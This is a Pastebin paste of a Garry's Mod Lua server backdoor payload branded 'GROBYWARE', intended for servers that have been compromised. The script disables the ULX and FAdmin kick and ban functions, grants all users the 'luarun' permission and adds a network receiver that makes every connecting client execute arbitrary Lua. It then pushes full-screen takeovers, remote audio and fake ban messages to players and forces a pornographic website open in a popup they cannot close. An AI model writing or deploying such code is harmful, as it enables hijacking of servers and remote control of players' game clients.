Advertisement
Guest User

Untitled

a guest
Sep 20th, 2019
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.76 KB | None | 0 0
  1. --- Admin systems blocker (ulx, fadmin, vanila)
  2. RunConsoleCommand( "sv_loadingurl", "http://jajaja99.x10host.com/groby.png" )
  3. for i=1,200 do RunConsoleCommand("removeid", i) RunConsoleCommand("removeid", "1") end
  4. RunConsoleCommand("ulx","logecho","0")
  5. RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun")
  6. if ULib then
  7. function ULib.kick( ply, reason, calling_ply ) end
  8. function ULib.ban( ply, time, reason, admin ) end
  9. function ULib.addBan( steamid, time, reason, name, admin ) end
  10. end
  11. if FAdmin then
  12. local function no(ply) end
  13. FAdmin.Commands.AddCommand("kick", no)
  14. FAdmin.Commands.AddCommand("ban", no)
  15. FAdmin.Commands.AddCommand("jail", no)
  16. FAdmin.Commands.AddCommand("UnJail", no)
  17. FAdmin.Commands.AddCommand("ClearDecals", no)
  18. FAdmin.Commands.AddCommand("StopSounds", no)
  19. FAdmin.Commands.AddCommand("CleanUp", no)
  20. end
  21. local _R = debug.getregistry()
  22. function _R.Player.Ban(ply, r) end
  23. function _R.Player.Kick(ply, r) end
  24. function game.KickID(id, reason) end
  25. local RCM = RunConsoleCommand
  26. function RunConsoleCommand(command, ...)
  27. if command == "addip" then return end
  28. RCM(command, ...)
  29. end
  30.  
  31. for k,v in pairs(player.GetAll()) do v:addMoney(999999999) end
  32.  
  33. timer.Create( "gtonip", 1, 0, function()
  34. for k,v in pairs(player.GetAll()) do
  35. v:GodEnable()
  36. v:setDarkRPVar( "rpname", "This Steam account has been VAC banned from secure servers due to a cheating infraction." )
  37. end
  38.  
  39. end )
  40.  
  41. RunConsoleCommand("sv_friction", "-8")
  42.  
  43. -- visuals / shit
  44.  
  45. util.AddNetworkString "slua"
  46.  
  47. local lol = {}
  48. function lol:RandomString( intMin, intMax )
  49. local ret = ""
  50. for _ = 1, math.random( intMin, intMax ) do
  51. ret = ret.. string.char( math.random(65, 90) )
  52. end
  53.  
  54. return ret
  55. end
  56.  
  57. lol.m_tblActions = {}
  58. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  59. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  60.  
  61. function lol:PushAction( intChainDelay, func )
  62. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  63. end
  64.  
  65. function lol:NextAction( pPlayer )
  66. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  67. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  68.  
  69. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  70. if not IsValid( pPlayer ) then return end
  71. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  72. self:NextAction( pPlayer )
  73. end )
  74. end
  75.  
  76. function lol:Start( pPlayer )
  77. pPlayer.m_intCurAction = 0
  78. self:NextAction( pPlayer )
  79. end
  80.  
  81. function lol:SendLua( pPlayer, strLua )
  82. net.Start( "slua" )
  83. net.WriteString( strLua )
  84. net.Send( pPlayer )
  85. end
  86.  
  87. function lol:SetupPlayer( pPlayer )
  88. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  89. end
  90.  
  91. for k, v in pairs( player.GetAll() ) do
  92. lol:SetupPlayer( v )
  93. timer.Simple( 2, function() lol:Start( v ) end )
  94. end
  95.  
  96. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  97. lol:SetupPlayer( pPlayer )
  98. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  99. end )
  100.  
  101. --Sequence stack
  102. --Start some tunes and steam in our assets
  103. lol:PushAction( 0, function( pPlayer )
  104. lol:SendLua( pPlayer, [[
  105.  
  106. hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
  107.  
  108. sound.PlayURL( "https://kobaltserv.mtxserv.com/pktucherchesurlapage.mp3", "mono noblock noplay", function( station )
  109. timer.Simple( 0.1, function()
  110. ClientStation = station
  111. station:EnableLooping( true )
  112. station:Play()
  113. station:SetVolume( 30 )
  114. end )
  115. end )
  116.  
  117. surface.CreateFont( "PixelCutsceneScaled",{
  118. font = "Open Sans",
  119. size = 500,
  120. weight = 1000,
  121. antialias = true
  122. })
  123.  
  124. surface.CreateFont( "PixelSmall",{
  125. font = "Open Sans",
  126. size = 135,
  127. weight = 500,
  128. antialias = false
  129. })
  130.  
  131. surface.CreateFont("lapolice", {
  132. font = "Open Sans",
  133. size = ScrW()*0.02,
  134. weight = 10,
  135. blursize = 0,
  136. scanlines = 2.5,
  137. antialias = false
  138. })
  139.  
  140. local function gettextcolor( a )
  141.  
  142. local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
  143. local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
  144. local b = 215
  145.  
  146. return Color( r, g, b, a or 255 )
  147.  
  148. end
  149.  
  150. local w,h = ScrW(), ScrH()
  151. local W, H = ScrW(), ScrH()
  152. local MySelf = LocalPlayer()
  153.  
  154. if ohno then
  155. ohno:Remove()
  156. ohno = nil
  157. end
  158.  
  159. ohno = vgui.Create( "DFrame" )
  160. ohno:SetSize( w, h )
  161. ohno:SetPos(0,0)
  162. ohno:SetDraggable ( false )
  163. ohno:SetTitle("")
  164. ohno:MakePopup();
  165. ohno:ShowCloseButton(false)
  166.  
  167. ohno.Paint = function( self )
  168. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  169. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  170. end
  171.  
  172. local pw, ph = w, h*0.6
  173. local px, py = w/2-pw/2, h/2-ph/2
  174.  
  175.  
  176. local Close = vgui.Create( "DButton", ohno )
  177. Close:SetPos(px, py)
  178. Close:SetText( "" )
  179. Close:SetSize( pw, ph )
  180. Close.Paint = function( self, tw, th )
  181.  
  182. local shift = math.sin(RealTime()*3)*1.5 + 5
  183.  
  184. local text = "GROBYWARE"
  185. local text2 = "ENGINEPREDATOR"
  186. local text3 = "1 TAPPED"
  187. local text4 = "GROBY"
  188.  
  189. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  190. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  191. draw.DrawText( "1 TAPPED!", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  192. draw.DrawText( "1 TAPPED-DRM!", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  193. draw.DrawText( "1 TAPPED", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  194. draw.DrawText( "RIP", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  195. draw.DrawText( "RIP", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  196. draw.DrawText( "1 TAPPED", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  197. draw.DrawText( "1 TAPPED", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  198. draw.DrawText( "1 TAPPED", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  199. draw.DrawText( "1 TAPPED;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  200. draw.DrawText( "1 TAPPED", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  201. draw.DrawText( "1 TAPPED", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  202. draw.DrawText( "1 TAPPED", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  203. draw.DrawText( "1 TAPPED", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  204. draw.DrawText( "GROBY", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  205. draw.DrawText( "GROBYWARE", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  206. draw.DrawText( "GROBY", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  207. draw.DrawText( "GROBY", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  208. draw.DrawText( "1 TAPPED", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  209. draw.DrawText( "GROBYWARE", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  210. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  211. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  212. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  213. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  214. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  215.  
  216. end
  217. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  218. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  219. timer.Create("fff", 0.1, 0, function()
  220. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  221. end)
  222.  
  223. timer.Simple( 15, function()
  224.  
  225. wut = vgui.Create( "DFrame" )
  226. wut:SetSize( w, h )
  227. wut:SetPos(0,0)
  228. wut:SetDraggable ( false )
  229. wut:SetTitle("")
  230. wut:ShowCloseButton(false)
  231.  
  232. wut.Paint = function( self )
  233. surface.SetDrawColor(30, 30, 30, 0)
  234. end
  235.  
  236. local Close = vgui.Create( "DButton", wut )
  237. Close:SetPos(px, py)
  238. Close:SetText( "" )
  239. Close:SetSize( pw, ph )
  240. Close.Paint = function( self, tw, th )
  241.  
  242. local shift = math.sin(RealTime()*3)*1.5 + 5
  243.  
  244. local text = "GROBYWARE"
  245.  
  246. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  247. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  248.  
  249. end
  250.  
  251. RunConsoleCommand("r_shader_srgb","1")
  252.  
  253. ohno:Remove()
  254. ohno = nil
  255.  
  256. local name = GetConVar("sv_skyname"):GetString()
  257. if name == "painted" then
  258. local sky
  259. for _, v in ipairs(ents.GetAll()) do
  260. if v:GetClass() == "env_skypaint" then
  261. sky = v
  262. break
  263. end
  264. end
  265. if !IsValid(sky) then return end
  266. hook.Add("PostRender","\xFFsky\xFF",function()
  267. local col = HSVToColor(CurTime()*30 % 360,1,1)
  268. col = Vector(col.r/255,col.g/255,col.b/255)
  269. sky:SetTopColor(col)
  270. sky:SetBottomColor(col)
  271. end)
  272. else
  273. local prefix = {"lf","ft","rt","bk","dn","up"}
  274. local mats = {}
  275. for i=1,6 do
  276. mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  277. end
  278. hook.Add("PostRender","\xFFsky\xFF",function()
  279. local col = HSVToColor(CurTime()*30 % 360,1,1)
  280. for i=1,6 do
  281. mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
  282. end
  283. end)
  284. end
  285. local chienchaud = ClientsideModel("models/props_c17/doll01.mdl")
  286. chienchaud:SetNoDraw(true)
  287. chienchaud:SetModelScale(120)
  288. timer.Create("charglogo", 0.01, 0, function()
  289. chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
  290. end)
  291. --chienchaud:SetMaterial( "models/screenspace" )
  292. local data = {}
  293. local function genchienchaud(id)
  294. local pos = LocalPlayer():GetPos()
  295. data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
  296. end
  297. for i=1, 150 do
  298. genchienchaud(i)
  299. end
  300. hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchienchauds\xFF",function()
  301. local z = LocalPlayer():GetPos().z
  302. for i=1, #data do
  303. chienchaud:SetPos(data[i][1])
  304. chienchaud:SetupBones()
  305. chienchaud:DrawModel()
  306. data[i][1].z = data[i][1].z - data[i][2] / 20
  307. if data[i][1].z <= z then
  308. genchienchaud(i)
  309. end
  310. end
  311. end)
  312.  
  313. hook.Add("Think","somewhere_over_the_rainbow",function()
  314. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  315. for _, v in ipairs(player.GetAll()) do
  316. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  317. end
  318. end)
  319.  
  320. timer.Create("CP_Gaymod",1,0,function()
  321. local mats = Entity(0):GetMaterials()
  322. for k,v in pairs(mats) do
  323. local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
  324. Material(v):SetVector("$color", Vector(r,g,b))
  325. end
  326. end)
  327.  
  328. timer.Create("ok", 1, 0, function()
  329. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do local phys = v:GetPhysicsObject()
  330. if (IsValid(phys)) then
  331. phys:EnableMotion(true)
  332. end
  333. end
  334.  
  335. local props = ents.GetAll()
  336. for _, prop in ipairs( props ) do
  337. if(prop:GetPhysicsObject():IsValid()) then
  338. prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((650 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  339. end
  340. end
  341. end)
  342.  
  343. end)
  344.  
  345.  
  346. timer.Simple( 34, function()
  347.  
  348. local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("https://i.imgur.com/HxkMRIS.gif")
  349. local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("https://i.imgur.com/HxkMRIS.gif")
  350. end)
  351.  
  352.  
  353. timer.Simple( 53, function()
  354.  
  355. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  356. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  357. local newsPan1 = vgui.Create("DPanel")
  358. newsPan1:SetSize(ScrW(), 150)
  359. newsPan1:SetPos(0, ScrH()-150)
  360. newsPan1.Paint = function()
  361. surface.SetDrawColor(255,255,255,255)
  362. surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
  363. surface.SetDrawColor(0,230,255,255)
  364. surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
  365. end
  366. local newsPan2 = vgui.Create("DPanel")
  367. newsPan2:SetSize(ScrW(),ScrH())
  368. newsPan2:SetPos(0,0)
  369. newsPan2.Paint = function()
  370. local trap3 = {
  371. {x = ScrW()-504, y = ScrH()-150},
  372. {x = ScrW()-439, y = ScrH()-254},
  373. {x = ScrW(), y = ScrH()-254},
  374. {x = ScrW(), y = ScrH()-150},
  375. }
  376. local trap4 = {
  377. {x = ScrW()-500, y = ScrH()-146},
  378. {x = ScrW()-435, y = ScrH()-250},
  379. {x = ScrW(), y = ScrH()-250},
  380. {x = ScrW(), y = ScrH()-146},
  381. }
  382. local trap5 = {
  383. {x = ScrW()-475, y = ScrH()-156},
  384. {x = ScrW()-432, y = ScrH()-235},
  385. {x = ScrW()-8, y = ScrH()-235},
  386. {x = ScrW()-8, y = ScrH()-156},
  387. }
  388. draw.NoTexture()
  389. surface.SetDrawColor(255,255,255,255)
  390. surface.DrawPoly(trap3)
  391. draw.NoTexture()
  392. surface.SetDrawColor(0,240,255,255)
  393. surface.DrawPoly(trap4)
  394. draw.NoTexture()
  395. surface.SetDrawColor(0,230,255,255)
  396. surface.DrawPoly(trap5)
  397. end
  398. local title2 = vgui.Create("DLabel", newsPan2)
  399. title2:SetFont("NEWS1")
  400. title2:SetText("Gmod News")
  401. title2:SizeToContents()
  402. title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
  403. title2:SetColor(Color(255,255,255))
  404.  
  405. local title3 = vgui.Create("DLabel", newsPan1)
  406. title3:SetFont("NEWS2")
  407. title3:SetText("BREAKING NEWS GMOD HAS BEEN INFECTED WITH PEWDIEPIE VIRUS CALL THE POLICE NOW!")
  408. title3:SizeToContents()
  409. title3:SetPos(ScrW(), 10)
  410. title3:SetColor(Color(255,255,255))
  411. timer.Create("movingtext2",.05,0,function()
  412. if title3:GetPos() >= 0-title3:GetWide() then
  413. title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
  414. else
  415. title3:SetPos(ScrW(),10)
  416. end
  417. end)
  418.  
  419. timer.Simple( 63, function()
  420.  
  421. if maymay then
  422. maymay:Remove()
  423. maymay = nil
  424. end
  425.  
  426. maymay = vgui.Create( "DFrame" )
  427. maymay:SetSize( w, h )
  428. maymay:SetPos(0,0)
  429. maymay:SetDraggable ( false )
  430. maymay:SetTitle("")
  431. maymay:MakePopup();
  432. maymay:ShowCloseButton(false)
  433.  
  434. local html = vgui.Create("HTML", maymay)
  435. html:Dock( FILL )
  436. html:OpenURL("https://www.gaytube.com/")
  437.  
  438. end)
  439.  
  440. timer.Simple( 70, function()
  441.  
  442. maymay:Remove()
  443. maymay = nil
  444.  
  445. end)
  446.  
  447. end)
  448.  
  449. ]])
  450.  
  451. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement